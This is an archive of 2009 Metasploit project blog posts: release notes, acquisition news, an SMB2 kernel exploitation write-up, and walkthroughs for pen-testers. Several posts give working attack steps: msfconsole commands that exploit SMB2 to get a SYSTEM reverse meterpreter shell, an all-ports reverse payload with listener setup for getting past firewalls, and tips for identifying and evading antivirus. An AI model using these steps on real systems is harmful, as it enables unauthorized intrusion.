The Linux installers now include everything needed to run the Metasploit Framework on most versions of Linux released over the last five years. The official Linux installers are recommended for anyone using a Linux distribution other than Ubuntu (8.04+). These installers include Ruby 1.9.1, Subversion 1.6.6, and all dependencies, along with convenient scripts for keeping the framework updated.

The Metasploit Console now indicates how many days have passed since the last update, reminding users when their installation becomes out of date. The console now uses a Ruby implementation of the Readline library by default, solving a number of issues with Mac OS X and other platforms with broken Readline support. The console now supports and enables ANSI colors by default, making it much easier to discern between errors and status messages on a busy terminal.

The database functionality is now enabled by default, as long RubyGems and at least one database driver is available on the system. The db_drivername plugins are deprecated and the db_driver and db_create commands are active by default. The db commands now support filters for everything from open ports to IP ranges. The db_autopwn command now cross-references across multiple ports and services name instead of a single port, when the -p parameter is supplied.

All applicable exploits now have OSVDB references thanks to a major effort by Steve Tornio. Two-ways links have been setup between the Metasploit module browser and their matching OSVDB entries. CVE references have been audited across the entire module tree, with a number of typos and other fixes corrected in the process.

Oracle exploit support has been implemented through a tag-team effort between MC and Chris Gates, with assistance from Alexander Kornbrust. Oracle modules have been developed for exploiting TNS protocol stack and Web-based Oracle services, as well as post-authentication database-level privilege escalation flaws. Microsoft SQL Server support has been overhauled, with the addition of a brand new native Ruby TDS driver exclusive to the Metasploit Framework and a large number of new modules. Microsoft SQL Server 2000 through 2008 versions have been tested with the new modules. The MSSQL and Oracle login modules can now brute force passwords from a dictionary file.

Automated client-side exploitation has been overhauled with a rewrite of the browser_autopwn module by James Lee. A number of existing client-side exploits have been updated to use better fingerprinting and evasion techniques. All TCP-based exploits can now be launched through SOCKS4, SOCKS5, and HTTP proxies.

The payload encoding library can now embed Metasploit payloads into arbitrary executables. The -x parameter to msfencode allows an arbitrary executable to be used as a vector for a Metasploit payload. This significantly reduces the impact of anti-virus tests during penetration tests and allows the use of familiar executables in social engineering endeavors. Payloads can be generated as VBA macros for insertion into Word documents, as Windows Scripting Hosts scripts and the standard formats (C, Ruby, Javascript, etc).

Metasploit now supports 64-bit Windows as a target platform, with the ability to use standard stagers, generate executables with embedded payloads and load Meterpeter on 64-bit systems. Metasploit now supports 64-bit Linux on the PowerPC architecture as a target platform. The alphanumeric encoders have seen a number of bug fixes and improvements since version 3.2, including the ability to prepend alphanumeric GetEIP code via the AllowWin32SEH parameter.

AIX support as a target platform has been improved, with a number of additional payloads and an exploit module for the newly discovered rpc_ttdbserverd realpath vulnerability. These payloads support versions 5.3.7 through 6.1.4 of the AIX platform and work with auxiliary modules and the database to select the right syscall numbers for each particular operating system revision. 64-bit PowerPC Linux is now supported on the POWER and Cell Broadband chips through an effort by Ramon Valle of RISE Security

The reverse_tcp stager now has a configurable number of retries (ReverseConnectRetries) and exits gracefully if the connection fails. The reverse_tcp_allports stager will cycle through all possible outbound ports in order to punch through host or network firewalls. The standard Windows stagers were overhauled to use a new hashing method, support Windows 7, allocate their own memory during staging and avoid a middle stager by performing their own reliable transfer mechanism. The new stager development was driven by Stephen Fewer of Harmony Security.

Support for JSP payloads has been integrated, opening the door for new exploit modules for Java-based application engines, like Bea and Tomcat. The existing CMD, PHP, Ruby and Perl payloads have all seen a revamp and update to their compatibility-matching system.

Auxiliary scanner modules now instantiate a new module instance for each thread, allowing more of the exploit mixins to be used to develop network scanners. This greatly improved the reliability of the existing scanners and allowed for dozens of new ones to be developed. Scanner modules now report their progress as they scan the network and the frequency of reports can be controlled through advanced options.

A simple fuzzer API has been added as a mixin, along with over a dozen new fuzzer modules that demonstrate their use and capabilities. While fuzzing is not the focus of the framework, the API is easy to use and can meet the requirements of many on-the-spot service tests. Ryan Linn's HTTP NTLM capture module has been integrated into the framework.

Support for the DECT COM-ON-AIR driver has been integrated into Metasploit, along with two example modules for locating DECT base stations and detecting active calls. The Lorcon2 library is now supported through a new ruby-lorcon2 Ruby extension and exploit mixin. All existing modules using the old Lorcon API have been ported. The airpwn and dnspwn modules developed by Mike Kershaw (also one of the Lorcon2 authors) have been integrated into the framework. The pcaprub Ruby extension has been updated to build on Ruby 1.9.1. Max Moser's pSnuffle packet sniffer (modeled after dsniff) has been integrated into the framework.

The Meterpreter and VNC injection payloads now use Stephen Fewer's Reflective DLL injection technique; the previous DLL injection stages have been renamed and will be deprecated in a future release. The Meterpreter now negotiates a full SSL link after the staging process has been completed, even going so far as to fake a HTTP request over the SSL session to mimic the traffic profile of a normal web browser. The Metepreter AutoRunScript parameter can now support multiple scripts with arguments. The Meterpreter can now take screen shots, provided that the process has access to the desktop (e.g. migrated into explorer.exe), using the ESPIA extension developed by Efrain Torres.

The Meterpreter can now capture traffic from the compromised system, using an in-memory sniffing extension based on the MicroOLAP Packet Sniffing SDK. This feature creates a ring buffer of up to 200,000 packets, allowing a snapshot to be downloaded and converted to a standard pcap log file. The Meterpreter can now capture keystrokes, including those of console logins, by migrating in the appropriate process and using the keyscan commands. The long-missing "rm" command has finally been added to the Meterpreter command line. The "background" command has been added for situations when using ^Z is not feasible. Alexander Sotirov's METSVC has been added to the framework and a Meterpreter script has been included to automatically deploy it on a compromised system.

The beginnings of POSIX support have been implemented by JR, targeting the Linux and BSD platforms. The stdapi extension for POSIX has been partially completed and should continue to improve going forward.

All Metepreter scripts now support the "-h" parameter for usage. As of Metasploit 3.3, there are almost 30 different Metepreter scripts included in the release, many of which were exclusively written by Carlos Perez.

Enjoy the release!

-HD

A refreshing new direction

2009-11-08T18:32:00.000-08:00

For those of you who don't know me, I have been a developer and computer security enthusiast for many years. I have been involved in computer security, specifically, for the last ten years. The first six years were as an independent research and hobbyist. I have spent the last four years working professionally as a software vulnerability researcher.

Tomorrow I will become the latest addition to the Metasploit and Rapid7 team, filling the Exploit Developer position. I am truly honored to have the chance to be part of such a talented team. Contributing to the Metasploit Framework has been a wish of mine for a while. Now, with countless thanks to Rapid7 and HD Moore, I get to do it full time!

I am very excited to have the opportunity to combine two of my passions (development and computer security) to ensure that more code exists which executes code! I look forward to finding out what wonders the future holds!

Joining the Team

2009-10-21T07:00:00.001-07:00

When I started learning about programming I thought, "Man, wouldn't it be awesome if I could get somebody to pay me to write code all day?" Not too long after that I started learning about security. Then I thought, "Man, wouldn't it be awesome if I could get somebody to pay me to break things all day?" As luck would have it, I've now found someone to pay me to write code that breaks things.

Today, Rapid7 announced its acquisition of Metasploit. Along with that acquisition, my weekend hobbyist role will soon become full-time employment as Core Developer. From the perspective of the framework, it means there will be a dedicated, fully funded development team where there used to be just a few volunteers hacking away on the weekends. It means there will be more time to do proper quality assurance. It means fewer bugs. More exploits. Faster development. It means a bit more organization and planning; decisions based on long term goals and design, not just what's shiny to me right now. Code won't have to languish waiting for updates or rewrites for lack of a long weekend. New features won't have to sit patiently in comments or tickets waiting to be implemented because we're all busy at our day jobs. Now, Metasploit is our day job.

From a user's perspective Metasploit will still be free. All of the important bits are going to remain open-source, a point that was very important to me, since its open nature is what drew me to Metasploit in the first place and what, I believe, attracts many of its users and contributors. It is likely that the license will be 3-clause BSD for all (or nearly all) of the code I write. Free code is happy code.

From my perspective, it's going to be awesome.

Metasploit Rising

2009-10-21T07:00:00.000-07:00

I created the Metasploit Project over six years ago as way to publish security information to those who needed it most, the security professionals in the field. The project has evolved from a personal web site, to a collaborative effort with a small group of friends, and finally to the robust community-driven project that we know today. This progress came at the cost of the evenings, lunch hours, early mornings, and weekends of countless contributors who donate their time for the benefit of the community. The volunteer nature of the project has lead to innovation in niche areas and has driven research across a wide range of topics.

During this time, Metasploit has always been a hobby; something I enjoy working on when my current job isn't monopolizing my free time. The project has always taken a back seat to the demands of day to day employment and this has created a bottleneck in terms of project growth. We now receive far more contributions, feature requests, and bug reports that the core team can keep up with in their free time. The project has come a long way, but nearly all patches, module submissions, and new features are still processed by only a few people. The time it takes for us to cut a release has increased as well; it has been almost a year since the last stable version of the Framework was released, with hundreds of new features in the development tree, but no time to test them well enough to consider them ready for a stable release.

All of this is changing. I am excited to announce that Metasploit has been acquired by Rapid7 and that myself and Egypt will be working on Metasploit as our full-time jobs. I will be taking on the role of Chief Security Officer of Rapid7 as well as Chief Architect of Metasploit. Egypt will join as our first core developer. In addition, we are hiring an exploit developer, user interface designer, and mostly importantly, a QA engineer, all dedicated to making the Metasploit Framework the best penetration testing product available. Rapid7 has committed to keeping the project open source, with no plans to change the license or the community development model. What will be changing is how fast we add new exploits, integrate new features, and release new versions. By backing Metasploit, Rapid7 will benefit from the extensive security research experience of the Metasploit team and use this to enhance its existing NeXpose product line.

Rapid7 was the right company for Metasploit for a number of reasons. First and foremost, they understand the value of the community have seen the benefits that funding a project like Metasploit can provide since our first conversation. Second, the management team at Rapid7 is made up of some brilliant folks. They may not be exploit developers, but they understand business and how to make a marriage with Metasploit increase their own bottom line without destroying the value of project in the process. Third, Rapid7 has an amazing technical staff and a solid vulnerability management product. There are only a few companies in the world that understand how much work is involved in doing vulnerability assessments right, and this team has been doing it for over 9 years. Lastly, Rapid7 has an enormous QA lab, with the ability to perform regression testing across a massive array of operating systems and patch levels. The combination of their staff and technical resources will allow the Metasploit Framework to make a huge leap ahead in the coming months.

To the members of the community who have been contributing their time and mindshare, thank you! The best way to show our dedication is by demonstrating that we mean what we say. In the next six months, we will hammering out Metasploit Framework releases that benefit from the dedicated resources provided by Rapid7 and illustrate exactly what we can do now that we can fully focus on the framework. If you have any questions or comments, you can email me at hdm[at]metasploit.com or join our IRC channel (#metasploit on irc.freenode.net). The Metasploit web site has been updated to include a FAQ about the acquisition, as well as links to the announcement on the Rapid7 web site as well.

Sincerely,

HD Moore

SMB2: 351 Packets from the Trampoline

2009-10-04T15:30:00.000-07:00

This a guest blog entry written by Piotr Bania .

Disclaimer
The author takes no responsibility for any actions taken using the provided information or code. This article is copyright (C) 2009 Piotr Bania, all rights reserved. Any duplication of code or text provided here in electronic or printed publications is not permitted without the author's agreement.

Prologue
About a month ago Laurent Gaffié released an advisory in which he described the SMB 2.0 NEGOTIATE PROTOCOL REQUEST Remote BSoD vulnerability. Fortunately for some and unfortunately for others this vulnerability is remotely exploitable. At the time of writing, there are only two exploits available for this flaw, one written by Immunity Inc., which only provides a copy to paying customers, and one written by Stephen Fewer and included in the Metasploit Framework. Unfortunately, Stephen Fewer's exploit seems to be unreliable against physical machines (vs VMs) due to a hardcoded address from the BIOS/HAL memory region (0xFFD00D09) which must be initiated to "POP ESI; RET". In this article I am going to describe a method for exploiting this vulnerability that only requires a stable absolute memory address (filled with NULL bytes).

Step One. Where to?
First, lets take a look at the vulnerable code, we will assume a Windows Vista SP2 operating system and SRV2.SYS version 6.0.6002.18005:

At offset 0x000056B3 EAX is initialized with a word from [ESI+0Ch]. The [ESI+0Ch] location points to the SMB2 packet, giving the attacker complete control on the lower 16 bits of the EAX register (AX). In the next instruction (0x000056B7) our controlled EAX is used as an array index. There is only one safety check on this value that verifies that *(DWORD*)ValidateRoutines[EAX*4] is not NULL. This is the cause of this vulnerability, since there is no check to determine if the EAX value (array index) exceeds the number of elements in the ValidateRoutines array. Further in the code, the location pointed to by ValidateRoutines[EAX*4] is executed by the "call EAX" instruction (0x000056CA).

In summary, we can redirect execution to any location (as long as it is not null) from ValidateRoutines to (ValidateRoutines + (0xFFFF * 4)). This gives us about 2^16 potential memory locations to check. this is not completely accurate, since we cannot assume that any memory location outside the SRV2.SYS address space will be consistent across mul;tiple machines (device driver ImageBase addresses change on every boot). To make my life less miserable, I wrote a little program that dumps the SRV2.SYS address space from system memory, then disassembles every potential region that can be reached through ValidateRoutines[INDEX*4]. Additionally, I set some boundaries that ensure we are operating only on the SRV2.SYS address space. Here are the results I have obtained:

I must confess that I was confused at first, not because of the results obtained, but due to the Immunity exploit video that was released. In this video, they stated that exploitation is based on on time values. This led me to focus on any function that manipulated time values. I noticed that the SrvBalanceCredits function (index 0x31, 0x4b7) can be used to modify the CurrentTime structure (0x0001D320), which can then be used again later as the memory address for a "call EAX". However, since KeQuerySystemTime returns the time as a count of 100-nanosecond intervals since January 1, 1601 and the system time is typically updated approximately every ten milliseconds, it is very unlikely to use this as reliable offset. An alternative would be to use the BootTime variable and reboot the machine to reset it, however my results were still not satisfying (the BootTime and CurrentTime values are both returned as part of a normal SMB2 NEGOTIATE_RESPONSE packet, so it is possible to query these remotely).

I decided that the time approach was a dead end and that it was time to start over from scratch and never watch Immunity videos again :-) After leaving the time approach I decided to look into the functions that would corrupt the stack by using a accepting a different number of arguments than the original function. The following indexes showed the most promise: 0x217 (srv2!SrvSnapShotScavengerTimer), 0x237 (srv2!SrvScavengerTimer), 0x1e3 (srv2!SrvScavengeDurableHandlesTimer), and 0x1bb (srv2!SrvProcessOplockBreakTimer). Stephen Fewer's exploit uses the 0x217 (srv2!SrvSnapShotScavengerTimer) as a index value. All four of those indexes have something in common:

Each of those functions ends with a "ret 10h", indicating the function expects four arguments, and will adjust the stack to account for those when it returns. To see how this helps us, lets take one more look at the vulnerable code:

As you can see, the procedure pointed to by EAX is called (0x000056CA) with one argument on the stack (see 0x000056C9 - PUSH EBX). SRV2.SYS assumes that the called function is using the stdcall convention (callee is responsible for cleanup of the stack). Since we forced EAX to point to one of the "ret 10" functions, the callee will clean the stack, but adjust it for for four parameters, not just the single parameter that was passed in (0x10=16 -> 16/4=4). How does this influence the execution flow? Take a look:

The first "d ESP" command shows the stack before the "CALL EAX" (where EAX points to on of the "ret 10" procedures). The second "d ESP" shows the stack after the "ret 10" function was executed. The important part is when the "POP ESI" (0x000056D0) instruction is executed, it will be exchanged with the pointer to our SMB packet (see "d poi(esp+4)") -- this will bring us some serious kudos later. Additionally, even if at the moment the stack pointer is invalid (because we haxored it) it will be reinitialized correctly by the instruction at 0x000056D9. As you probably know, the LEAVE instruction (also called High Level Procedure Exit), sets the ESP to EBP and pops EBP. In other words, despite the fact we have mangled the stack and forced ESI to point to our packed data, ESP will be "good" again. That is important, since otherwise it would cause an exception when executing the "ret 4". Lets assume we used 0x237 (srv2!SrvScavengerTimer) as an index, after few instructions we land here:

As you can see, ESI still points to our packet. The instruction at 0x0001FAB1 (setnl cl) is also a key factor in the way I have chosen to exploit this, since the setnl result depends on the value our called "faked function", which is why a function like 0x1e3 (srv2!SrvScavengeDurableHandlesTimer) will not work), since the CL register must be 1 before the PUSH ecx is executed. This will be discussed later.

Step Two. Mum I want a Trampoline!
In this step we will create a trampoline that will transfer the code execution to the shellcode. Stephen's exploit code depended on a static "pop esi; ret" address that made it unreliable on many non-virtual machines. With my technique, we just need to find a stable 4-byte memory region filled with NULL bytes (or any other predictable value) and we will force the SMB code to build a trampoline for us, using just 351 packets. After some digging I found following piece of code interesting (located in the end of _SrvProcPartialCompleteCompoundedRequest@8 function):

The instruction located at 0x0002115F is used to automically increase the value pointed to by the EAX register by ECX (=1). This is actually a variation of the InterlockedExchangeAdd function. The key point here is that the EAX register value is controlled by the SMB packet and ECX is set to 1. Lets review how the EBX register value is computed:

In the code above, you can that EBX is equal to the [packet+0xAC] field. This means that the memory region that is be increased by the xadd instruction is equal to [packet+0xAC]+0xBC (this offset changes among the different Vista versions). This provides us with full control of the area that will be increased by each request. So what we are going to do with it? We are going to build a trampoline, dumbass :-)

To do that we, must consider:

1) We need an absolute memory address that is executable (see DEP) and is filled with constant data (NULLs in our case, however thanks to the xadd arithmetic operation any stable value works). We
need four bytes of NULLs at the address and an additional three bytes before it to handle overlapping writes to reduce the number of packets required.

2) We need to know what value to compute and how many requests it will take to accomplish this.

Answers:

1) Lets use the same BIOS/HAL region chosen by Stephen's exploit, since the memory here is readable, writeable, and executable. NULL bytes in this region are much easier to find than a POP ESI;RET for sure!

2) It seems that the opcode sequence "INC ESI; POP ESI; RET" (0x46 0x5E 0xC3) would be the easiest way to bounce to our shellcode using this as a trampoline. However, writing the value 0x4656C3 with a single increment per require would require us to send 4,609,731 packets. Fortunately, there is a solution that reduces this to just 351 packets -- a much more reasonable number. The trick is to divide the process into three stages, where each stage is responsible for increasing only one byte. For example, we send 0x46 packets to increment address+0, 0x65 packets to increment address+1, and 0xC3 packets to increment loc+2.

Step Three. Code Execution
Now that the trampoline is ready we just need to jump to it, here is the code responsible for that:

EAX (call desitnation address) is fully controlled by the value from the SMB packet (ESI+168h). This offset changes does change between different Vista versions. Here's the general schema of my attack:

That is all for now, expect to see an updated Metasploit module in the near future that takes advantage of this technique.

Metasploit 3.3 Development Updates

2009-09-27T21:30:00.000-07:00

The last 48 hours has been a whirlwind of development at the Metasploit Project as we prepare for the 3.3 stable release. Efrain Torres completed the screenshot feature of the espia Metepreter module. This command only works when the process meterpreter is executing inside has access to the active desktop (like explorer.exe). You can see an example of this below:

meterpreter > ps

Process list
============
PID Name Path
--- ---- ----
204 iexplore.exe C:\Program Files\Internet Explorer\iexplore.exe
[ snipped ]
1736 Explorer.EXE C:\WINDOWS\Explorer.EXE
3348 sol.exe C:\WINDOWS\system32\sol.exe

meterpreter > migrate 1736
[*] Migrating to 1736...
[*] Migration completed successfully.

meterpreter > screenshot /tmp/boom.bmp
[*] Image saved to /tmp/boom.bmp
Opening browser to image.

This morning Stephen Fewer released his long-awaited SMB2 code execution module for the Metasploit Framework. He plans to publish a whitepaper in the near future that discusses the exploit technique and the newly written Vista/2008 ring0 to ring3 stager code. This module is available in the 3.3-dev tree and supports Vista SP1/SP2 and 2008 SP1/SP2 (but not R2) with the same offsets and addresses. Keep in mind that the best workaround for this still-unpatched flaw is to disable the SMB2 protocol. The auxiliary module "auxiliary/scanner/smb/smb2" can be used to scan the network for systems that still have SMB2 enabled (shown below):

msf> use auxiliary/scanner/smb/smb2
msf (auxiliary/smb2) > set RHOSTS 192.168.0.0/24
msf (auxiliary/smb2) > set THREADS 100
msf (auxiliary/smb2) > run

[*] 192.168.0.142 supports SMB 2 [dialect 2.2] and has been online for 54 hours
[*] 192.168.0.211 supports SMB 2 [dialect 2.2] and has been online for 53 hours

When using Metasploit on Windows XP, socket restrictions prevent scanners from working at their full speed. We recommend using anything but XP (2000, Vista, 7) if you need to use the scanning modules inside Metasploit on Windows. Alternatively, boot the BackTrack4 Virtual Machine in VMWare.

Now that we have identified two systems with SMB2 enabled, its exploit time!

msf> use exploit/windows/smb/smb2_negotiate_func_index
msf (exploit/smb2) > set PAYLOAD windows/meterpreter/reverse_tcp
msf (exploit/smb2) > set LHOST 192.168.0.136
msf (exploit/smb2) > set LPORT 5678
msf (exploit/smb2) > set RHOST 192.168.0.211
msf (exploit/smb2) > exploit

[*] Started reverse handler
[*] Connecting to the target (192.168.0.211:445)...
[*] Sending the exploit packet (854 bytes)...
[*] Waiting up to 180 seconds for exploit to trigger...
[*] Sending stage (719360 bytes)
[*] Meterpreter session 2 opened (192.168.0.136:5678 -> 192.168.0.211:49158)

meterpreter > sysinfo
Computer: WIN-UAKGQGDWLX2
OS : Windows 2008 (Build 6001, Service Pack 1).
Arch : x86
Language: en_US

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Voila! A great way to justify disabling SMB2 across your network.

Next item of interest -- we are now generating hourly builds of the 3.3-dev tree and making these available for download from the Metasploit web site. These come in two flavors and two sizes. We are offering the 3.3-dev package for Unix systems in both Full and Mini versions. The Mini version removes the SVN directories, many of the development source files, and the msfweb/msfgui interfaces.

For the first time, we are offering 3.3-dev packages for Windows (based on Cygwin 1.7 [HEAD]), also in Full and Mini versions. The Windows installer is lightweight and can be installed alongside an existing version of Metasploit. The Windows version can be installed to a USB key and made portable, just by specifying the proper path during the install. Finally, the Windows installer can be made to run in batch mode with a command line like the following:

C:\> framework-3.3-dev-mini.exe /S /D=C:\metasploit33dev

We would like to make sure everyone is aware of the freely-available Metasploit Unleashed Online Course developed by the Offensive Security team. The Metasploit Project is currently working with the team to expand the breadth and depth of this online course, with help from our own official Metasploit courseware. This course should continue to improve at rapid rate over the next few months.

Forcing Payloads Through Restrictive Firewalls

2009-09-24T22:48:00.000-07:00

I was reading a fun blog post by Jason Mansfield about different ways to brute force a connection through a restrictive outbound firewall and realized that this would be trivial to implement in Metasploit and would go nicely with another feature implemented earlier today.

The general idea is that many networks block some or all outbound TCP ports from their network. This is a great way to avoid entire classes of client-side attacks and helps discourage employees from using non-authorized network applications. The trouble is, there are always exceptions. It may be that the CEO needs access to a real-time stock trading application or a developer needs access to a database service hosted at an ISP. Over time, holes start to appear in most outbound TCP rulesets and rarely, if ever get closed.

During a penetration test, nothing frustrates an auditor like having a working exploit for a target user, but not being able to get an interactive shell. In the case of networks with a restrictive outbound rules, the process of finding an allowed outbound port, or blindly installing some form of tunneling software, is time better spent cracking passwords and writing reports. Creating shellcode that can try multiple ports isn't all that hard, but doing so while keeping the size down and handling errors properly is another story.

Unfortunately, on the Windows platform, the connect() call will always wait for the system default timeout, unless the socket is in non-blocking mode. We could switch the socket to non-blocking, call select(), check the result, loop, and switch it back to blocking, but this would require a large amount of code, making the payload less useful for exploits that can only hold small amounts of shellcode. The payload can take so long to crawl its way up to the allowed port that the exploit module gives up and shuts down the listener. This is where the other new feature comes into play.

One often-requested feature is the ability to disable the builtin payload handler code for a particular module in the Metasploit Framework. This would allow the security auditor to launch exploits from one system, but receive the sessions and interact with them on another (using the exploit/multi/handler module on the receiving system). This feature would also allow a long-term, persistent listener (again, through exploit/multi/handler) to wait for a payload that tried all ports.

The new payload stager (windows/*/reverse_tcp_allports) accepts the LPORT variable as a starting port, tries to connect to the host specified by LHOST, and if it fails, bumps the port up by one and starts all over again. In order for the machine located at the LHOST address to handle all connections to all ports, a dedicated (unused) IP address is necessary, along with some iptables (or pf) magic. The following iptables command line will route all incoming TCP connections to any port to port 4444 of the specified IP (A.B.C.D):

# iptables -I INPUT -p tcp -m state --state NEW -d A.B.C.D -j DNAT --to A.B.C.D:4444

We now need to setup a listener on the receiving system (A.B.C.D):

msf> use exploit/multi/handler
msf (exploit/handler) > set PAYLOAD windows/meterpreter/reverse_tcp_allports
msf (exploit/handler) > set LHOST A.B.C.D
msf (exploit/handler) > set LPORT 4444
msf (exploit/handler) > exploit -j

Finally we switch over to the system that is actually generating the attacks. To prevent the payload handler from running on the attacking system, we need to set the DisablePayloadHandler option to 'true':

msf (exploit/browser0day) > set PAYLOAD windows/meterpreter/reverse_tcp_allports
msf (exploit/browser0day) > set LHOST A.B.C.D
msf (exploit/browser0day) > set LPORT 1
msf (exploit/browser0day) > set DisablePayloadHandler true
msf (exploit/browser0day) > exploit

As clients connect to the attacking system's browser exploit, the payload they receive will try to connect to the receiving system at A.B.C.D, starting on port 1 and going to port 65535 (then repeating). The iptables rule will map any incoming connection to port 4444, which will activate the handler code, stage-load meterpreter, and make the session available to the auditor.

Keep in mind that this payload is slow - it can take up to a minute for a blocked port to timeout (its usually much less however) and still a few seconds even when a TCP reset is received. The great thing about splitting the exploit from the handler is that timing no longer matters as much. Even if it takes an hour to find a usable outbound port, the receiving system will still be waiting, while the attacking system can move on to other exploits. Judicious use of the AutoRunScript option for the Metepreter payloads will allow all sorts of actions to take place once the session is established, without requiring an auditor to be waiting on the console.

NSS Labs Endpoint Protection Test Results

2009-09-21T10:24:00.000-07:00

On Monday, NSS Labs released the results of their anti-malware Endpoint Protection Product tests. The test results are separated into consumer and corporate product lines, with the consumer report available for download from their web site after free registration.

The test put each product through a 17-day rolling assessment, where each day the latest updates to the product were applied and a fresh list of malware-serving URLs were processed. This provides a clear view of how these products fare in the real world, and not just against a static list of well-known samples. Each product had two opportunities to block the malware, once during download, and again once it was written to disk and executed by the user. The score for a given product is calculated as the sum of both methods of blocking the sample, for example, if it was missed during download, but caught on execution, it still counts as being blocked. Each of these products also contains an anti-virus engine, which should provide some basic protection for unknown samples, based on heuristics and behavior.

The top-ranking product in the consumer test was Trend Micro, which caught a whopping 96.4% of all malware samples, followed by Kaspersky at 87.8%. Most of the major-brand consumer products had an average closer to 80%, with AVG, Panda, and ESET all coming in below the average. These results show that on average, two out of every ten pieces of malware will slip past consumer-grade security solutions. Users who rely on cheaper products like AVG and ESET have an even lower level of protection, while those using Trend are well above the average. The corporate product test results are a bit different (and somewhat surprising, compared to the consumer results), but are only available for a fee from NSS Labs. If you rely on Sophos for your enterprise endpoint security, this report may be worth purchasing.

From my own testing with Metasploit-generated payload executables, both Trend and Kaspersky seem to rely on heuristics and behavior more than the other products in the field. For example, this VirusTotal report shows the results of a reverse connect shell generated by the latest version of Metasploit. While two products misclassified the executable as "Win32:Tipa" (due to the read/write/exec section), Trend Micro was the only product to clearly identify the file as "packed" using what looks like an entropy signature. Two McAfee products flagged the file as suspicious, but in most scenarios the file would have been allowed anyways. Unique hashing doesn't work in this case, as the executable is randomized every time it is generated by Metasploit.

From a penetration testing perspective, the NSS reports are useful in determining not only how robust a client's endpoint protection is, but what the probability of existing infections are for their workstations. A company using a product on the weaker end of the scale (AVG, ESET, etc) is likely to have a higher chance of botnet agents and credential sniffers.

Some easy ways to determine what filtering software is in use at a given organization are to send an email to a bogus address at the domain, solicit an email response from an internal user, or find a sent email archived online -- any of these methods should allow access to the MIME headers, which security products often insert their product name and version into. For example, if we wanted to see what a particular government agency is using, all we have to do is send an email to a bogus address, wait for the bounce reply, and look at the headers:

X-IronPort-AV: E=Sophos;i="4.44,431,1249272000"; d="scan'208";a="9936347"

This line indicates that Sophos is being used with an IronPort appliance and includes the version number of the product. The "1249272000" value after the version is a UNIX timestamp, which converted to a human-readable date becomes "2009-08-02 23:00:00 -0500". This is likely the date on which the product was last updated. From a penetration testing perspective, we need to find a way to bypass detection of our malware by this version of Sophos in order to reach the endpoint. We still don't know what endpoint software is in use, but we can either guess that it too is Sophos-based, or try to solicit an email response from an internal user and then craft our malware so that it avoids both the gateway and the endpoint product. In most cases, bypassing a specific anti-virus is just a matter of hex-editing a few bytes of the executable.

If we rolled back the clock 10 years, I don't believe anyone expected their anti-virus product to become the end-all of desktop and gateway security. However, the popularity of social media sites has triggered a bloom in social-engineering malware attacks, forcing the anti-virus industry to expand its scope. The products that scored the highest results in the consumer report all used cloud-backed signature sets to detect and block malware, removing the normal window of exploitation between signature updates. The disparity between vendors is surprising, considering the age of the anti-virus industry and the relatively equivalent price points. Penetration testers and system administrators both need to be aware of the strengths and weaknesses of the technology as well as specific products on the market.

!jutsu searchVtptr

2009-08-12T15:02:00.000-07:00

With heap metadata exploits going out of favor (hzon's fine work not withstanding), I've recently gone after a number of vtable overwrites. This can be no fun at all to do by hand, so I've added some helpful code to byakugan to let you search for the pointers to pointers to pointers to code that you need. :)

So if you're in a sitation where you get this:

mov ecx, [edx] : edx = [something you control]
push edx
call [ecx + 0x1c]

You know you've trashed a vtable pointer. If you also say have esi pointing to a buffer you control, then you need to get esi into esp, then return. To do this though, you'll need a pointer to a pointer that when 0x1c is added to it points to a pointer to (for example)

mov esp, esi
ret

To do this automagically in byakugan, you may now type

!jutsu searchVtptr [offset in vtable] [opcodes]

So in this case:

!jutsu searchVtptr 0x1c mov esp, esi | ret

Then you can put the return address to turn off dep in your pointer at esi, and roll on along from there. Happy hunting!

Mastering the Metasploit Framework

2009-05-11T20:46:00.000-07:00

The next official Metasploit class will be held in Las Vegas, Nevada during Black Hat USA on July 25th and 26th. This course dives into the newest features of the Metasploit Framework and demonstrates how to use these features in every aspect of a penetration test. Students will learn how to create custom modules to solve specific tasks, launch wide-scale client-side attacks, operate a malicious wireless access point, generate custom backdoors, bypass intrusion prevention systems, automate the post-exploitation process, and much more. The course is split between hands-on labs and lectures, with a focus on practical techniques that have proven successful in the real world.

To give you an idea of how the class is structured, we have posted part of the Meterpreter section online. This course is currently the only documentation for many of the newer features present in the Framework.

Hope to see you there!

SANS Penetration Testing Summit

2009-05-05T17:42:00.000-07:00

I will be speaking at the SANS 2009 Pen-Test Summit on the future of Metasploit and some of the recent updates to the project. The summit runs May 31st to June 9th at the Paris in Las Vegas. Based on my experience last year and the speaker lineup, it looks like a blast. Hope to see you there!

<<>+=

2009-03-25T00:33:00.000-07:00

The Metasploit Framework has had performance issues at startup for a long time. It is not uncommon for initial loading of our 600+ modules to take upwards of 30 seconds (or worse on older hardware). Previously, I attributed the slow startup time to the massive amount of ruby code and the staggering number of objects that had to be instantiated. After all, msf is far and away the biggest ruby project on the planet. HD has done an excellent job with the new module format to reduce that initial overhead but algorithm complexity evidently has more to do with the problem. A couple of weeks ago Yoann Guillot sent us a simple patch that changed a few uses of += on String objects to <<. The performance change was profound.

It turns out that a << b realloc()'s a to be big enough to hold both buffers, then concatenates b to the end of a, a Big-Oh of n operation. a += b, on the other hand, makes a new buffer big enough to hold both a and b, then copies them each into the new buffer. By itself, this will always be a little slower than <<, but it is still O(n).

However...


framework3 $ time ruby -e 'a = "A"; 100000.times { a << "A" }'

real    0m0.338s
user    0m0.312s
sys     0m0.024s

framework3 $ time ruby -e 'a = "A"; 100000.times { a += "A" }'

real    0m15.462s
user    0m15.321s
sys     0m0.068s

Put += in a loop, as in the above example, and it becomes a O(n²) operation because you have to copy "A", then "AA", then "AAA"... Now that we've seen the underlying problem, let's see what kind of difference the patch makes.

Before the patch:


framework3 $ rm ~/.msf3/modcache && time (echo exit | ./msfconsole >/dev/null)

real    0m45.428s
user    0m43.679s
sys     0m0.912s

After the patch:


framework3 $ rm ~/.msf3/modcache && time (echo exit | ./msfconsole >/dev/null)

real    0m15.970s
user    0m15.213s
sys     0m0.548s

As you can see, startup time is still not blazingly fast on old hardware (all of the benchmarks were performed on a 1.4GHz Pentium M) but it is now much more
tolerable.

Before you run off and change every instance of += to << in your ruby code, it's important to note that the two don't perform the same operation. Because ruby does assignment by reference, the latter overwrites any variables that point to the one you're operating on while the former leaves any references untouched.


framework3 $ irb
>> a = "A"
=> "A"
>> b = a
=> "A"
>> a << "B"
=> "AB"
>> b
=> "AB">> c = "C"
=> "C"
>> d = c
=> "C"
>> c += "D"
=> "CD"
>> d
=> "C"

